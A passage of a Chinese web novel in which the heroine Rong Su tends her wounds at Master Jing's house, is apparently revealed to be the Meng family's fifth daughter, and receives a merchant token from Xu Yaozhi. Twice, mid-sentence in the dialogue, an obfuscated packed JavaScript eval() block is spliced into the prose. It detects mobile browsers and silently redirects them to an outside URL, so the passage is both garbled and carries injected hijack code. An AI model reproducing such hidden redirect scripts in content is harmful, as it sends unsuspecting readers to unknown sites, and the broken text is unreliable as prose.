“那你可真是重情重义······”景公子幽幽道,“敢把地牢里的人都放走了,可惜啊,醉乐楼在泰城的势力可不容小觑,翻遍整个城找人不过是小事一桩,你放出来的那些人不消多时就会被抓回去。” 容素收敛笑意,面色染上凝重:“可比起一直被困在那里,他们肯定更愿意有一个逃走的机会,至少逃出去还有一线希望。” “真不知你这是‘真大义’还是‘假大义’。” 看着她身上滴着血的伤口,景公子心底不由得涌起一阵烦躁。 * 马车晃晃悠悠,约摸过了一炷香的时间,便抵达了景公子的宅子。 容素起身就要去把徐遥之背下次车,一本卷起的书从一旁冷不丁地伸出,一把打掉她欲伸出去的手。 “你这么虚弱就别逞能了,让凌风把他扛回去。” 容素犹豫片刻,还是收回了手:“有劳了。” 她掀开车帘走下马车,听雪和凌风在车下侍立,容素笑笑:“麻烦你们把徐兄安置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189875|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。” 两人点头答应。 容素跳下马车,腹部的伤口被牵扯,疼痛感袭来,容素不由得皱起眉头,身形一滞。 听雪看她脸色苍白,上前扶住她:“姑娘,你没事吧?我扶着你吧。” “多谢。” 听雪扶着容素回了那间角房,景公子没再跟过去,自顾自地回了自己的屋子。 “姑娘你且等着,我去厢房把大夫请过来给你诊治一下。” 听雪把容素按到塌上后便要往外走。 “不必了!”容素赶紧叫住她。 听雪犹豫:“可是姑娘,这是公子的命令······” 容素安慰道:“我的伤都是皮外伤,待会我自己去上上药就可以了,麻烦你把大夫请去给徐兄治治吧,他看起来不太好。” “那姑娘要好好照顾自己”,说着,她跑到墙边立着的架阁墙,摸索了一会,手上出现了一个硬木匣子。 听雪捧着匣子放到容素手边:“姑娘,这个是药箱,里面有许多治跌打损伤的药,若不够用,记得同我说呀!” “嗯。”容素笑着颔首。 听雪走后,容素将药箱打开,拿出一瓶金疮药和一卷纱布,草草擦了两处伤口上的血迹,随后挑开药瓶的木塞,把药粉撒在纱布上,往伤口上捂去,密针扎般痛苦传来,容素面露苦色,额间沁出了细汗。 可真遭老罪了。 容素长出了一口气,慢慢地把伤口包扎好。 * “公子。” 听雪进屋,朝案前的景公子行了个礼。 景公子抬眸,问:“她怎么样了?” “姑娘说她受的是皮外伤不严重,让大夫不必给她看病,直接去给徐公子诊治就好。” “不识好歹!”景公子面露不悦。 听雪尴尬地笑了笑,继续说:“公子,你上次让我去查姑娘被醉乐楼抓去的事有些眉目了。” “怎么说?” “醉乐楼那边的管事说,容素姑娘是雾山一伙山匪卖给他们的······” 景公子皱眉:“雾山?云州东际的那座?” “正是。”听雪点点头,“我们找到了那群山匪的二当家,他说那日他们是劫了一行商队,姑娘就在那行商队中,起初他们见姑娘容貌出众,便想着绑去给寨主当压寨夫人,但是姑娘不从还试图逃跑,逃跑时划伤了脚,那个二当家觉得伤口会留疤,他们寨主怕是不喜欢了,便卖给了醉乐楼。” “只是说来奇怪”,听雪顿了顿,“这商队的领头是云州孟家的大少爷,而姑娘竟是这位大少爷的妹妹,也就是孟家的五小姐,孟竹。” 景公子不解:“她是孟家的小姐?怎么可能?” 听雪也十分疑惑:“属下觉得奇怪,当时那个二当家十分肯定那就是孟家的商队,还说这几日孟家大少爷一直在派人寻找妹妹,不过属下已经派人去云州孟家探查了,这其中或许有什么隐情。” “镇守北疆的将军之女,怎么会变成南方的一个世家小姐?”景公子双眼微眯,若有所思。 12. 第十二章 隔天一早,容素打算去探望一下徐遥之,不过她尚不知徐遥之被安置在哪间屋子,于是便去向听雪打听。 然而来到听雪的房里,并没有看到她的身影。 或许是去服侍景公子了? 容素思索了一会,遂往景公子住所走去。 屋外依旧是凌风侍立着,容素三两句话禀明了来意。 “听雪在里头侯着,姑娘直接进去吧。”凌风想起了景公子的吩咐,便没有进去通传。 “不必了”,容素赶紧摆了摆手,“我还是等听雪姑娘出来吧。” 她想起每次见到景公子,对方话里话外总是带着不容忽视的审视,虽然景公子帮了她不少,对她似乎没什么恶意,但容素还是不太愿意和他有过多的交道。 说罢,容素转身就要回去。 “来都来了”,景公子的声音从屋内幽幽传来,“进来吧。” 容素叹息,无奈地迈步走了进去。 堂屋内,景公子坐在一张八仙桌前,一旁的矮凳上放着盛了水的铜盆,景公子拿着素帕正在净手。 桌上摆着几碟残菜,看样子是用完早膳了。 听雪站在桌旁,正把层格是碗碟一个个放回食盒中,见了容素,乐呵呵地笑了。 “坐吧”,景公子抬眸看了她一眼。 容素依旧站着:“叨扰公子了,我有些事想问问听雪姑娘。” “何事?” 容素:“我想去看看徐兄恢复得如何了,只是不知他被安顿在何处?还望听雪姑娘告知。” 听雪看了看景公子,见他没有什么反应,便放心开口:“姑娘,徐公子在厢房呢,大夫说他伤得不轻,得好好修养一阵子。” “你领着她过去吧。”景公子甩了甩手。 听雪点头:“是”,随后朝着容素走来,“姑娘跟我走吧!” 容素笑应,向景公子行了个礼后便退了出去。 * 去厢房的路上蜿蜒曲折,花木竞秀,翠隐轩榭,这般精美豪华的程度可见宅子主人家底的丰厚。 容素暗暗感叹,对景公子的身份多了几分探究的心思,毕竟一个小小的商人,怎么会有如此雄厚的财力呢? 树木掩映的小路逐渐变得开阔,抬头看去,几件屋子相连着横在前方。 “姑娘到了!” 听雪快步走上前,容素也紧跟着。 “吱呀”一声,木门被推开,一股浓烈的药味扑面而来。 “姑娘进去吧,我在外面侯着。”听雪侧身,止步在门外。 “多谢了。”容素朝她笑了笑,迈步走进屋内。 宽大的架子床上,徐遥之身着单衣倚在床头,手中似乎拿着东西,看着精神了不少。 察觉到有人进来,他抬头看去,面露喜色:“孟姑娘!” “你怎么样了?”容素快步走近,问,“你是不是被送上人兽台了?昨日救你时见你身上不少抓痕。” 徐遥之点了点头:“我大概是前天去的人兽台,好在先父多来年来多加督促我习武,不然怕是早已命丧醉乐楼了。” “那你现在感觉如何了?伤口可有不适?” “已经好多了,多谢姑娘及时将我救出,还请了大夫给我处理伤口,姑娘帮了我这么多,我实在······” 容素摆了摆手:“不敢当,说起来其实还要感谢景公子。” 徐遥之疑惑:“景公子?他是何人?” “这座宅子的主人,多亏了他我才能在醉乐楼脱身,也是在他的帮助下我才能成功将你就出来,大夫也是他请的。” “这位公子可是姑娘的相识?” 容素犹豫了片刻:“算是吧······我多年前偶然救过他······” “那说到底我还是沾了姑娘的光”,徐遥之笑了笑。 说着,他将手上的东西一把递到容素身前,神情激动:“还望姑娘收下这枚信牌,不瞒姑娘,我家祖上是经商的,产业不小,后来先父捐官入仕,一些产业交由叔伯们打理,但这枚核心的信牌仍由先父持有,这是我的全部身家,送给姑娘傍身。” 容素吓了一跳:“这个太贵重了,我可不敢收,你孤身一人回岭州,这信牌你还是留着吧。” 徐遥之硬塞到她手上:“姑娘不必为我担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192778|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我是徐家长子,凭着这个身份,家族的产业自会有我的一袭之地,况且先父蒙难前早已传书为我打点好了一切。姑娘的救命之恩,我只能以此为报了,信牌里藏着徐家产业的名录,姑娘以后若有需要,尽管去找他们帮忙。” 容素挑了挑眉,摆弄了一下手中的那枚信牌,信牌应是玄铁锻造,再贴上铜面,正中央刻着一个“徐”字,周围还有一些细小的文字和纹路。背面镶着一小块青玉,这块玉看着似有玄机,她抬指按下。 “咔嚓。” 伴随着一声轻微的响动,信牌侧面出现了一条缝隙。 容素顺着那条缝将信牌的掰开,一张折起来的纸赫然出现。 “这······”容素抬眸。 徐遥之解释:“这是徐家的一些产业,姑娘不妨看看。” 容素将纸展开,上面是密密麻麻的字:岭州黄沙县潮东茶行,岭州节央县玉庄······ 越看越熟悉。 忽然,容素脑海中似有灵光闪过,她猛然想起,这名录里的好多铺子她不久前在孟竹父母留下的与岭州商帮做生意的册子上也看过! 她眼里闪过震惊,不由得暗暗打量起徐遥之。 眼前这位,莫非就是商帮的······少主?! 真是······得来全不费工夫。 此刻容素无比庆幸自己善心未泯,冒着危险将他救出。不过······容素看了看纸上密密麻麻的商铺名称,还是咬牙推回去。 “你有心了,只是这些涉及到一个家族的根基,我是不敢收的。我此番来岭州是是与兄长同行,为谈生意,若是你执意报恩的话,不如到时候牵成我们两方合作?” 徐遥之执意要她收下信牌:“姑娘你就收下吧,先父蒙冤遭难,朝廷对我徐家也有赶尽杀绝之意,家族基业倒不如就此易主,也能免遭毒手。况且我的命是姑娘救的,我已经没了亲人,以后最重要的便是恩人了。” 容素推辞不下,便只好有些心虚地笑纳了:“那好,你回去后若是在经营管理上有什么困难之处尽管找我。” 徐遥之点了点头:“姑娘有心了!”